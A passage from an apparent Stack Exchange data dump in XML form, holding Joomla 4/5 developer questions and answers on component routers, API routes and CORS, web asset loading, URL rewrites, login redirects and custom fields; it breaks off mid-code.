LastEditorUserId="9407" LastEditDate="2023-11-25T11:00:24.803" LastActivityDate="2023-11-25T12:53:42.377" Title="Custom Component Error on Save / Edit: Save failed with the following error: Prepared statement needs to be re-prepared" Tags="|custom-component|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33505" PostTypeId="2" ParentId="33504" CreationDate="2023-11-25T12:53:42.377" Score="0" Body="&lt;p&gt;Okey it looks like I've solved the issue now.&#xA;I've simply changed in the Joomla Configruation the Database Driver / Type from MySQLi to MySQL and it looks like it's working now...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-11-25T12:53:42.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33506" PostTypeId="1" CreationDate="2023-11-25T17:49:13.300" Score="0" ViewCount="113" Body="&lt;p&gt;I'm converting a custom component from Joomla 3, where the component was using the legacy router, to Joomla 4 router. I have the router service set up and working on Joomla 4.4.0. I first tried creating a component Router which extended the RouterView. I needed to check the output of the parse function to check which segments still needed converting to vars. However the parse function didn't get executed. The build function yes. So I tried creating a component class Router which implements the Joomla\CMS\Component\Router\RouterInterface. Again the preprocess and build function are executed but the parse function doesn't get executed. In Joomla 3 the myComponentParseRoute function would be executed when clicking on MyComponent link. The behaviour seems different in Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;Reading the notes in the RouterInterface the parse function should be executed when SEF mode is switched on. I've SEF mode activated but in Joomla 4 when should the router parse function be executed?&#xA;I've already read the book by Nicholas Dionysopoulos and viewed the Youtube videos by Robbie Jackson. Can anybody give any further tips for building and debugging the Joomla 4 component router parse function?&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2023-12-28T13:06:05.727" Title="Joomla 4 Router parse function" Tags="|joomla-4.x|sef|router|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33507" PostTypeId="2" ParentId="33463" CreationDate="2023-11-25T20:17:55.593" Score="0" Body="&lt;p&gt;After a lot of research I have finally found the cause of the error.&lt;/p&gt;&#xA;&lt;p&gt;On the Joomla side, you need to set the CORS parameter Access-Control-Allow-Headers to &lt;code&gt;Content-Type,X-Joomla-Token,Authorization,Accept&lt;/code&gt; in the Joomla main configuration!&lt;/p&gt;&#xA;&lt;p&gt;The main cause of the problem is on the server side of the Nuxt 3 application: Netlify blocks file processing and redirection to Joomla, because it mainly a service to server static content. - The solution is to communicate the file upload from the Nuxt 3 / Vue 3 web app client/browser directly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;const url = `${config.public.fileServerUrl}/api/v1/fileuploadroute`;&#xA;const results = await useFetch(&#xA;    url,&#xA;    {&#xA;       method: &amp;quot;POST&amp;quot;,&#xA;       body: form_data,&#xA;       headers: {&#xA;          // 'Content-Type': 'multipart/form-data',  // DISABLE&#xA;          'Accept': '*/*', //! Ohne gibt's einen 406 Error&#xA;          Authorization: `Bearer ${config.public.fileBearerToken}`,&#xA;       },&#xA;    }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As the Joomla API token is exposed to the web application client, I generated an additional one just for file uploads. - Options to hide the API token from the client could be writing a Netlify function or using Vercel. I haven't tried both yet.&lt;/p&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2023-11-25T20:17:55.593" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33508" PostTypeId="1" CreationDate="2023-11-26T00:29:43.603" Score="0" ViewCount="41" Body="&lt;p&gt;I want to embed existing modules into the content of my custom component.  I thought I could simply use {loadmoduleid 123} within the text of my component record and on display of this record, the module would be displayed.  Alas this didn't work despite having the Content - Load Module plugin enabled.&#xA;Does this mean I have to create my own loadmodule plugin for my component?  Or is there a way to utilise the core plugin, if so how.  Any and all advice/guidance appreciated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;So for some further clarification, my component has fields (title, description) in the record and I want my component to display the description which may or may not contain within the text &lt;code&gt;{loadmoduleid 123}&lt;/code&gt; which is generally positioned somewhere in the HTML text.&lt;/p&gt;&#xA;&lt;p&gt;So in my code I would generally just display the field contents:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;description; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and if the contents of the &lt;code&gt;{loadmoduleid 123}&lt;/code&gt; and module_id 123 was a custom HTML module with just an image, then the output should be something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Blah blah blah . . . &amp;lt;img src=&amp;quot;images/testimage.jpg&amp;quot; alt=&amp;quot;Test Image&amp;quot; /&amp;gt; blah blah blah.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2023-11-28T01:02:03.277" LastActivityDate="2023-11-28T01:02:03.277" Title="Use Loadmodule plugin in custom component" Tags="|joomla-5.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33509" PostTypeId="1" CreationDate="2023-11-27T17:38:00.147" Score="0" ViewCount="36" Body="&lt;p&gt;In Joomla Joomla 4/5:&lt;/p&gt;&#xA;&lt;p&gt;What is the best strategy to allow access to Joomla API endpoints from only one (or more) specific domains?&#xA;And how is this configured in Joomla 4/5? (CORS vs. HTTP-Header-Plugin vs. other solution).&lt;/p&gt;&#xA;&lt;p&gt;I simply cannot find a best practice by checking the documentation on this topic.&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2023-12-06T10:28:07.073" LastActivityDate="2023-12-06T10:28:07.073" Title="Grant access to Joomla API from just one site" Tags="|joomla-4.x|joomla-api|restful-api|header|joomla-5.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33510" PostTypeId="2" ParentId="33506" CreationDate="2023-11-28T12:28:55.163" Score="0" Body="&lt;p&gt;I read further and dug into the Joomla code, in particular the Joomla\CMS\Router file. Fairly early on, the Joomla Site Application executes the Joomla\CMS\Router-&amp;gt;parse function which in turn executes the Joomla\CMS\SiteRouter-&amp;gt;parseSefRoute function. It's in the parseSefRoute function where the component routers are loaded and the component router parse function is executed. For the component router parse function to be executed 2 conditions need to be met:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;$route variable is not empty&lt;/li&gt;&#xA;&lt;li&gt;the uri option variable (i.e. com_mycomponent) has a value.&#xA;The $route variable is taken from the uri path. If the $route path is empty because there aren't any segments to be called then the Joomla component Router parse function will not be executed. This was my issue because my Joomla component Router build function wasn't generating the necessary segment variables, so the $route variable in the SiteRouter-&amp;gt;parseSefRoute was always empty. Fixing my component's build function means my component's parse function is executed as expected.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2023-11-28T12:28:55.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33511" PostTypeId="1" CreationDate="2023-11-28T13:43:13.517" Score="0" ViewCount="29" Body="&lt;p&gt;I am using the custom fields for the articles. I have downloaded the &amp;quot;media&amp;quot; custom field plugin and renamed this to &amp;quot;image&amp;quot; (along with the relevant files) I have installed the plugin, but it's not showing in the available fields in articles custom fields.&lt;/p&gt;&#xA;&lt;p&gt;Ideally I want to show only the file upload for the media custom field and not browse the server, just upload the file and this is then selected.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2023-12-29T21:03:55.447" Title="Duplicate custom fields &quot;media&quot; to make &quot;image&quot; plugin" Tags="|joomla-4.x|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33512" PostTypeId="1" AcceptedAnswerId="33519" CreationDate="2023-11-28T14:38:53.840" Score="1" ViewCount="56" Body="&lt;p&gt;I am working on a Joomla! 5 compatible theme and want to use the WebAssetManager function in combination with joomla.asset.json to register and include theme assets. I am bumping into an issue where the following happens:&lt;/p&gt;&#xA;&lt;p&gt;This is my joomla.asset.json file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;$schema&amp;quot;: &amp;quot;https://developer.joomla.org/schemas/json-schema/web_assets.json&amp;quot;,&#xA;  &amp;quot;name&amp;quot;: &amp;quot;base&amp;quot;,&#xA;  &amp;quot;version&amp;quot;: &amp;quot;5.0.0&amp;quot;,&#xA;  &amp;quot;description&amp;quot;: &amp;quot;This file contains details of the assets used by this Joomla 5 site template.&amp;quot;,&#xA;  &amp;quot;license&amp;quot;: &amp;quot;GPL-2.0-or-later&amp;quot;,&#xA;  &amp;quot;assets&amp;quot;: [&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;template.base.style&amp;quot;,&#xA;      &amp;quot;description&amp;quot;: &amp;quot;Template CSS&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;media/templates/site/base/template.css&amp;quot;&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: the file in the declared uri exists&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In my index.php I call the getWebAssetManager function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */&#xA;$assetManager = $this-&amp;gt;getWebAssetManager();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After that I call the useStyle function to use the stylesheet like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$assetManager-&amp;gt;useStyle('template.base.style');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And of course in the head of the page I jdoc include the stylesheets, like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&amp;quot;styles&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The result is that stylesheets used by extensions are loaded in the frontend, but template.css doesn't.&lt;/p&gt;&#xA;&lt;p&gt;Then I changed the code in index.php to register and include the stylesheet this way. So I don't use the joomla.asset.json but directly register the file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$assetManager-&amp;gt;registerAndUseStyle(&#xA;    'template.base.style',&#xA;    'media/templates/site/base/css/template.css',&#xA;    [],&#xA;    [],&#xA;    []&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The result: it works! The file is loaded in the frontend the way it is supposed to be.&lt;/p&gt;&#xA;&lt;p&gt;Can somebody explain to me why my first approach is not working? Am I overlooking something or is this a known bug in J5 which I didn't notice in de issue tracker?&lt;/p&gt;&#xA;" OwnerUserId="17340" LastEditorUserId="17340" LastEditDate="2023-11-28T14:46:52.503" LastActivityDate="2024-01-05T09:06:15.757" Title="Can't use WebAsset useStyle in index.php in Joomla! 5" Tags="|joomla-5.x|web-asset-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33513" PostTypeId="2" ParentId="33512" CreationDate="2023-11-28T15:47:46.343" Score="0" Body="&lt;p&gt;Try to zip &amp;amp; &amp;quot;install&amp;quot; the template the usual way, the asset.json file gets not reconized when added / pasted / moved in manually after installation of the extension. At least its the case for components where i had a similar issue. After you have done it once you are able to make changes to the asset.json which gets loaded - its just the first time you have to do a &amp;quot;re-&amp;quot;install&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-11-28T15:47:46.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33514" PostTypeId="2" ParentId="33511" CreationDate="2023-11-29T20:46:29.110" Score="0" Body="&lt;p&gt;I'm not sure duplicating the media plugin is going to get you anywhere because even if you copy and rename the plugin to image, the layout that will be used will be the same, which will lead you back to the media manager.&#xA;So I think you would better off overriding the file in layouts/joomla/form/field/media.php&#xA;You can found more information about &lt;a href=&quot;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla#JLayout_Micro-Layout_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;overriding layouts here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once you have your layout override you can modify the layout removing the code that accesses the media server and add some code to allow an image to be uploaded like in this example.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yuNJw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yuNJw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2023-11-29T20:46:29.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33515" PostTypeId="1" CreationDate="2023-12-03T22:50:04.500" Score="1" ViewCount="52" Body="&lt;p&gt;I am using Joomla 4. I have a requirement to rewrite certain URLs to a specific article (article with ID 32). This worked OK with Joomla 3 but now I am getting unexplained error 404 using the same &lt;code&gt;.htaccess&lt;/code&gt; rewriterules.&lt;/p&gt;&#xA;&lt;p&gt;For example, if the original URL is &lt;code&gt;example.com/foo&lt;/code&gt; then the &lt;code&gt;.htaccess&lt;/code&gt; file will rewrite it to &lt;code&gt;example.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=32&lt;/code&gt; and then the user will have this article displayed.&lt;/p&gt;&#xA;&lt;p&gt;However, if I enter &lt;code&gt;example.com/foo&lt;/code&gt; I get an error 404.&lt;/p&gt;&#xA;&lt;p&gt;The target URL seems to work if I paste it into the address bar on the browser (ie. if I paste in &lt;code&gt;example.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=32&lt;/code&gt;) but if I try &lt;code&gt;example.com/foo&lt;/code&gt; it fails.&lt;/p&gt;&#xA;&lt;p&gt;I have tested the rewrite condition and rule by changing the target to another address on the page (to a static html page eg. &lt;code&gt;example.com/Essay/foo.html&lt;/code&gt;) and this works OK.&lt;/p&gt;&#xA;&lt;p&gt;These are the rewrite condition and rule that I am using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/foo$&#xA;RewriteRule .* /index.php?option=com_content&amp;amp;view=article&amp;amp;id=32 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have also checked &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt;, and &lt;code&gt;$_SERVER['REDIRECT_URL']&lt;/code&gt; and &lt;code&gt;$_SERVER['QUERY_STRING']&lt;/code&gt; and they appear to be OK, and the same whether I enter &lt;code&gt;/foo&lt;/code&gt; or &lt;code&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=32&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Original URI: /foo&#xA;Modified URI: /index.php&#xA;Query String: option=com_content&amp;amp;view=article&amp;amp;id=32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I use the flags &lt;code&gt;[R=301,L]&lt;/code&gt; instead of just &lt;code&gt;[L]&lt;/code&gt; then the redirection takes place to the article 32. However we need to keep the original URL which is why we just use &lt;code&gt;[L]&lt;/code&gt; in the rewrite rule. This worked OK in Joomla 3 but not in Joomla 4 for some reason.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions or help would be most welcomed!&lt;/p&gt;&#xA;" OwnerUserId="3629" LastEditorUserId="7730" LastEditDate="2023-12-06T23:01:05.870" LastActivityDate="2023-12-06T23:01:05.870" Title="Why is my rewriterule not working in Joomla 4" Tags="|joomla-4.x|.htaccess-configuration|router|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33516" PostTypeId="1" AcceptedAnswerId="33518" CreationDate="2023-12-04T09:43:55.177" Score="0" ViewCount="60" Body="&lt;p&gt;I have an API route that should accept more than one parameter, but it seems that only one parameter is being recognised, like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;new Route(&#xA;  ['POST'],&#xA;  'v1/myapiendpoint/:nr/:id',&#xA;  'mycomponent.mycontrolerfunction',&#xA;  ['nr' =&amp;gt; '(\d+)', 'id' =&amp;gt; '(\d+)' ],  // more than one parameter not recognized?!&#xA;  [&#xA;     'component' =&amp;gt; 'com_mycomponent',&#xA;     'public'    =&amp;gt; false&#xA;  ]&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I define routes with more than one parameter? Is this even possible?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2023-12-05T07:45:52.123" Title="API Routes with more than one parameter in Joomla 4/5" Tags="|joomla-4.x|joomla-api|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33518" PostTypeId="2" ParentId="33516" CreationDate="2023-12-05T07:45:52.123" Score="2" Body="&lt;p&gt;There is an error in router documentation. Capture group brackets are actually added automatically. So you shouldn't use them in your patterns:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;['nr' =&amp;gt; '\d+', 'id' =&amp;gt; '\d+']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-12-05T07:45:52.123" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33519" PostTypeId="2" ParentId="33512" CreationDate="2023-12-06T08:29:17.693" Score="0" Body="&lt;p&gt;Based on your working PHP code, the actual path to the file is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;media/templates/site/base/css/template.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But in JSON you wrote this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;media/templates/site/base/template.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Correct it and it should work. Furthermore, you can simplify it to just &lt;code&gt;template.css&lt;/code&gt;, template media path should be prepended automatically. Default Cassiopeia template has this, for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;name&amp;quot;: &amp;quot;template.cassiopeia.ltr&amp;quot;,&#xA;  &amp;quot;description&amp;quot;: &amp;quot;The css file to be used when the site is left to right (LTR).&amp;quot;,&#xA;  &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;  &amp;quot;uri&amp;quot;: &amp;quot;template.min.css&amp;quot;,&#xA;  &amp;quot;dependencies&amp;quot;: [&#xA;    &amp;quot;fontawesome&amp;quot;&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which loads &lt;code&gt;media/templates/site/cassiopeia/css/template.min.css&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-12-06T08:29:17.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33520" PostTypeId="1" AcceptedAnswerId="33525" CreationDate="2023-12-07T12:02:01.470" Score="0" ViewCount="40" Body="&lt;p&gt;I have category custom fields and I need to show these in the article (which is in the category) view.&lt;/p&gt;&#xA;&lt;p&gt;I have used the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;&#xA;// Get the category object&#xA;$customFields = FieldsHelper::getFields('com_content.category', $category, true);&#xA;&#xA;var_dump($customFields);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This outputs as:&lt;/p&gt;&#xA;&lt;pre&gt;array(0) {&#xA;}&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;I need to output the custom fields. I have even tried the following&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&amp;quot;custom_fields&amp;quot;&amp;gt;&#xA;        &amp;lt;?php foreach ($customFields as $catfield) {&#xA;            echo '&amp;lt;div&amp;gt;';&#xA;            echo '&amp;lt;h3&amp;gt;' . htmlspecialchars($catfield-&amp;gt;label) . '&amp;lt;/h3&amp;gt;';&#xA;            echo '&amp;lt;p&amp;gt;' . htmlspecialchars($catfield-&amp;gt;value) . '&amp;lt;/p&amp;gt;';&#xA;            echo '&amp;lt;/div&amp;gt;';&#xA;        }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but it's only outputting as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;custom_fields&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2023-12-09T18:43:39.380" Title="Show the category custom fields in article page" Tags="|php|joomla-4.x|joomla-api|custom-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33521" PostTypeId="1" CreationDate="2023-12-08T13:04:30.403" Score="0" ViewCount="35" Body="&lt;p&gt;I have setup a default login form menu item that should redirect users to a specific menu item after logging in. Instead they are being redirected to the homepage.&lt;/p&gt;&#xA;&lt;p&gt;The permissions on the login menu item are set to guest, so that it is hidden after login.&lt;/p&gt;&#xA;&lt;p&gt;I have tested with Choose Login Redirect Type set to menu item and internal URL with both failing to work as expected. When using internal URL, I tried the format suggested in the input placeholder and with the component included in the URL like this: index.php?option=com_name&amp;amp;Itemid=2182 (abbreviated).&lt;/p&gt;&#xA;&lt;p&gt;The user group being used for front-end login is registered.&lt;/p&gt;&#xA;&lt;p&gt;I have cleared the cache in Joomla each time after making changes.&lt;/p&gt;&#xA;&lt;p&gt;I have tested with and without template overrides in place for the login form default_login.php file.&lt;/p&gt;&#xA;&lt;p&gt;When I try var_dump of the return variable attached to the redirect URL, the following is output:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Menu item: string(4) &amp;quot;2089&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Internal URL: string(58) &amp;quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=2&amp;amp;Itemid=2089&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The website is running Joomla 4.4.1 with Admin Tools installed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Updated with further testing&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am continuing to have this issue on my website with a custom template. I have completed the following testing and have included the results below:&lt;/p&gt;&#xA;&lt;p&gt;I have completely disabled the custom overrides I had applied to com_users in the custom template's html directory. The overrides are not affecting how the after login redirect is handled.&lt;/p&gt;&#xA;&lt;p&gt;I have set Cassiopeia as the default template style and set the login menu item to use the custom template. All of the other pages use Cassiopeia. When I login using the form, the redirect takes me to the proper profile page.&lt;/p&gt;&#xA;&lt;p&gt;The user group for the login menu item is guest and registered for the profile menu item. The profile menu item is also hidden using the display in menu parameter in the menu item configuration.&lt;/p&gt;&#xA;&lt;p&gt;I have completely disabled the login redirect by clearing the Menu Item Login Redirect parameter, but logged in users are still redirected to the homepage.&lt;/p&gt;&#xA;&lt;p&gt;The site is using Membership Pro to handle subscriptions. I have tried disabling all Membership Pro related functionality, but the same redirect issues occur.&lt;/p&gt;&#xA;&lt;p&gt;I have a logout menu item setup that correctly redirects logged out users to the menu item set in the item's configuration.&lt;/p&gt;&#xA;&lt;p&gt;Debugging is enabled and the following is displayed in Session &amp;gt; Registry after successful login, but with incorrect redirection to homepage.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array:3 [&#xA;  &amp;quot;data&amp;quot; =&amp;gt; array:1 [&#xA;    &amp;quot;users&amp;quot; =&amp;gt; array:1 [&#xA;      &amp;quot;login&amp;quot; =&amp;gt; array:1 [&#xA;        &amp;quot;form&amp;quot; =&amp;gt; array:2 [&#xA;          &amp;quot;data&amp;quot; =&amp;gt; []&#xA;          &amp;quot;return&amp;quot; =&amp;gt; &amp;quot;https://dev.domain.com/&amp;quot;&#xA;        ]&#xA;      ]&#xA;    ]&#xA;  ]&#xA;  &amp;quot;initialized&amp;quot; =&amp;gt; false&#xA;  &amp;quot;separator&amp;quot; = &amp;gt; &amp;quot;.&amp;quot;&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The return url works sporadically. If I visit the login form menu item from the site's homepage, the login redirect return value is set to the homepage. If I visit the login form menu item after visiting other menu items like a single about article, the redirect url works correctly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array:3 [&#xA;  &amp;quot;data&amp;quot; =&amp;gt; array:1 [&#xA;    &amp;quot;users&amp;quot; =&amp;gt; array:1 [&#xA;      &amp;quot;login&amp;quot; =&amp;gt; array:1 [&#xA;        &amp;quot;form&amp;quot; =&amp;gt; array:2 [&#xA;          &amp;quot;data&amp;quot; =&amp;gt; []&#xA;          &amp;quot;return&amp;quot; =&amp;gt; &amp;quot;index.php?Itemid=2182&amp;quot;&#xA;        ]&#xA;      ]&#xA;    ]&#xA;  ]&#xA;  &amp;quot;initialized&amp;quot; =&amp;gt; false&#xA;  &amp;quot;separator&amp;quot; = &amp;gt; &amp;quot;.&amp;quot;&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Caching is fully disabled on the website.&lt;/p&gt;&#xA;&lt;p&gt;I hope someone can lend some assistance as users will probably be logging in directly from the homepage and need to be redirected to the set page and not returned to the homepage.&lt;/p&gt;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="8253" LastEditDate="2023-12-12T19:20:03.697" LastActivityDate="2023-12-12T19:20:03.697" Title="Login form menu item URL redirect not working" Tags="|user|login|url|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33522" PostTypeId="1" CreationDate="2023-12-08T15:47:19.713" Score="1" ViewCount="17" Body="&lt;p&gt;Can I get articles from a specific author in this way in joomla 4?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_content&amp;amp;view=category&amp;amp;id=87&amp;amp;layout=blog&amp;amp;filter[author_id]=42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This method works with Tags, but I would need it by author name or user_id&lt;/p&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2023-12-08T15:47:19.713" Title="Filtering articles by author in url" Tags="|joomla-4.x|url|content-filtering|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33524" PostTypeId="1" CreationDate="2023-12-09T15:08:34.820" Score="0" ViewCount="30" Body="&lt;p&gt;I have a language string which need be used with sprintf :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;COM_COMPONENT_UPLOADED_LABEL_ERROR_REACHED_MAX_NUMBER_FILES = &amp;quot;You have reached the maximum number of files allowed (maximum allowed are %d files)&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This string is used in javascript part so how to use Text::sprintf with Text::script ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="13306" LastEditDate="2023-12-11T03:00:48.367" LastActivityDate="2023-12-11T08:34:29.530" Title="Using Text::sprintf with Text::script" Tags="|joomla-4.x|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33525" PostTypeId="2" ParentId="33520" CreationDate="2023-12-09T18:43:39.380" Score="0" Body="&lt;p&gt;For debugging that, I use :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&#xA;print_r($customFields);&#xA;echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;?&amp;gt;&#xA;        &amp;lt;?php foreach ($customFields as $catfield) {&#xA;            echo '&amp;lt;div&amp;gt;';&#xA;            echo '&amp;lt;h3&amp;gt;' . htmlspecialchars($catfield) . '&amp;lt;/h3&amp;gt;';&#xA;           &#xA;            echo '&amp;lt;/div&amp;gt;';&#xA;        }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, now you can see the content of the object with the properties you want. After that, you can user $catfield-&amp;gt;YOURPROPERTIE&lt;/p&gt;&#xA;" OwnerUserId="16374" LastActivityDate="2023-12-09T18:43:39.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33526" PostTypeId="1" AcceptedAnswerId="33528" CreationDate="2023-12-09T19:40:41.427" Score="0" ViewCount="31" Body="&lt;p&gt;I'm currently using a two step solution to get all linked teams to a player (a player can be linked to multiple teams) that way for my backend list view:&#xA;first regular SELECT from Players&#xA;Then loop over the player items and get all linked teams as follow:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;protected function getLinkedTeams($playerId){&#xA;        $teams = array();&#xA;&#xA;        // Get Team ID's&#xA;        $db = $this-&amp;gt;getDatabase();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('ct.team_id');&#xA;        $query-&amp;gt;from($db-&amp;gt;quoteName('#__component_players_teams', 'ct'));&#xA;        $query-&amp;gt;where($db-&amp;gt;quoteName('ct.player_id') . ' = ' . $db-&amp;gt;quote($playerId));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $teamIds = $db-&amp;gt;loadColumn();&#xA;&#xA;        // Get Team Names&#xA;        